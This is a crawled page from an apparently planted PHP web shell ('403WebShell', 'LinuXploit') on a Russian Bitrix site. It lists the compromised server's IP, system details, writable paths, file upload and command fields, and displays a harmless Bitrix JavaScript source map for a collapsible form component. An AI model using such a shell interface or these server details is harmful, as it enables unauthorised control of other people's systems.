%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.217.37.129
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/layout-form/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/ui/layout-form/dist/layout-form.bundle.js.map
{"version":3,"file":"layout-form.bundle.js","sources":["../src/layout-form.js"],"sourcesContent":["import {Event, Dom} from \"main.core\";\nimport 'ui.forms';\n\nexport class LayoutForm\n{\n\tconstructor()\n\t{\n\t\tthis.hiddenAttribute = 'data-form-row-hidden';\n\t\tthis.nodes = null;\n\n\t\tthis.init();\n\t}\n\n\tinit()\n\t{\n\t\tthis.nodes = document.querySelectorAll('[' + this.hiddenAttribute + ']');\n\n\t\tfor (let i = 0; i < this.nodes.length; i++) {\n\t\t\tEvent.bind(this.nodes[i], \"click\", this.onClick.bind(this));\n\t\t\tthis.nodes[i].querySelector('.ui-ctl-element[type=\"checkbox\"]').style.pointerEvents = 'none';\n\t\t\tthis.checkInitialBlockVisibility(this.nodes[i]);\n\t\t}\n\t}\n\n\tcheckInitialBlockVisibility(hiddenRow)\n\t{\n\t\tlet checkbox = hiddenRow.querySelector('.ui-ctl-element[type=\"checkbox\"]');\n\t\tif (checkbox.checked)\n\t\t{\n\t\t\tlet hiddenBlock = hiddenRow.nextElementSibling;\n\t\t\thiddenBlock.style.height = hiddenBlock.scrollHeight + 'px';\n\t\t\tDom.addClass(hiddenBlock, 'ui-form-row-hidden-show');\n\t\t}\n\t}\n\n\tonClick(event)\n\t{\n\t\t// event.preventDefault();\n\n\t\tlet checkbox = event.currentTarget.querySelector('.ui-ctl-element[type=\"checkbox\"]');\n\t\tlet hiddenBlock = event.currentTarget.nextElementSibling;\n\t\tlet height = hiddenBlock.scrollHeight;\n\n\t\tthis.toggleHiddenBLock(checkbox, hiddenBlock, height);\n\t}\n\n\ttoggleHiddenBLock(checkbox, hiddenBlock, height)\n\t{\n\t\tif (!checkbox.checked)\n\t\t{\n\t\t\tcheckbox.checked = true;\n\t\t\thiddenBlock.style.height = height + 'px';\n\t\t\tDom.addClass(hiddenBlock, 'ui-form-row-hidden-show');\n\t\t}\n\t\telse\n\t\t{\n\t\t\tcheckbox.checked = false;\n\t\t\thiddenBlock.style.height = 0;\n\t\t\tDom.removeClass(hiddenBlock, 'ui-form-row-hidden-show');\n\t\t}\n\t}\n}\n"],"names":["LayoutForm","hiddenAttribute","nodes","init","document","querySelectorAll","i","length","Event","bind","onClick","querySelector","style","pointerEvents","checkInitialBlockVisibility","hiddenRow","checkbox","checked","hiddenBlock","nextElementSibling","height","scrollHeight","Dom","addClass","event","currentTarget","toggleHiddenBLock","removeClass"],"mappings":";;;;KAGaA,UAAb;CAEC,wBACA;CAAA;CACC,SAAKC,eAAL,GAAuB,sBAAvB;CACA,SAAKC,KAAL,GAAa,IAAb;CAEA,SAAKC,IAAL;CACA;;CARF;CAAA;CAAA,2BAWC;CACC,WAAKD,KAAL,GAAaE,QAAQ,CAACC,gBAAT,CAA0B,MAAM,KAAKJ,eAAX,GAA6B,GAAvD,CAAb;;CAEA,WAAK,IAAIK,CAAC,GAAG,CAAb,EAAgBA,CAAC,GAAG,KAAKJ,KAAL,CAAWK,MAA/B,EAAuCD,CAAC,EAAxC,EAA4C;CAC3CE,QAAAA,eAAK,CAACC,IAAN,CAAW,KAAKP,KAAL,CAAWI,CAAX,CAAX,EAA0B,OAA1B,EAAmC,KAAKI,OAAL,CAAaD,IAAb,CAAkB,IAAlB,CAAnC;CACA,aAAKP,KAAL,CAAWI,CAAX,EAAcK,aAAd,CAA4B,kCAA5B,EAAgEC,KAAhE,CAAsEC,aAAtE,GAAsF,MAAtF;CACA,aAAKC,2BAAL,CAAiC,KAAKZ,KAAL,CAAWI,CAAX,CAAjC;CACA;CACD;CAnBF;CAAA;CAAA,gDAqB6BS,SArB7B,EAsBC;CACC,UAAIC,QAAQ,GAAGD,SAAS,CAACJ,aAAV,CAAwB,kCAAxB,CAAf;;CACA,UAAIK,QAAQ,CAACC,OAAb,EACA;CACC,YAAIC,WAAW,GAAGH,SAAS,CAACI,kBAA5B;CACAD,QAAAA,WAAW,CAACN,KAAZ,CAAkBQ,MAAlB,GAA2BF,WAAW,CAACG,YAAZ,GAA2B,IAAtD;CACAC,QAAAA,aAAG,CAACC,QAAJ,CAAaL,WAAb,EAA0B,yBAA1B;CACA;CACD;CA9BF;CAAA;CAAA,4BAgCSM,KAhCT,EAiCC;CACC;CAEA,UAAIR,QAAQ,GAAGQ,KAAK,CAACC,aAAN,CAAoBd,aAApB,CAAkC,kCAAlC,CAAf;CACA,UAAIO,WAAW,GAAGM,KAAK,CAACC,aAAN,CAAoBN,kBAAtC;CACA,UAAIC,MAAM,GAAGF,WAAW,CAACG,YAAzB;CAEA,WAAKK,iBAAL,CAAuBV,QAAvB,EAAiCE,WAAjC,EAA8CE,MAA9C;CACA;CAzCF;CAAA;CAAA,sCA2CmBJ,QA3CnB,EA2C6BE,WA3C7B,EA2C0CE,MA3C1C,EA4CC;CACC,UAAI,CAACJ,QAAQ,CAACC,OAAd,EACA;CACCD,QAAAA,QAAQ,CAACC,OAAT,GAAmB,IAAnB;CACAC,QAAAA,WAAW,CAACN,KAAZ,CAAkBQ,MAAlB,GAA2BA,MAAM,GAAG,IAApC;CACAE,QAAAA,aAAG,CAACC,QAAJ,CAAaL,WAAb,EAA0B,yBAA1B;CACA,OALD,MAOA;CACCF,QAAAA,QAAQ,CAACC,OAAT,GAAmB,KAAnB;CACAC,QAAAA,WAAW,CAACN,KAAZ,CAAkBQ,MAAlB,GAA2B,CAA3B;CACAE,QAAAA,aAAG,CAACK,WAAJ,CAAgBT,WAAhB,EAA6B,yBAA7B;CACA;CACD;CAzDF;CAAA;CAAA;;;;;;;;"}

Youez - 2016 - github.com/yon3zu
LinuXploit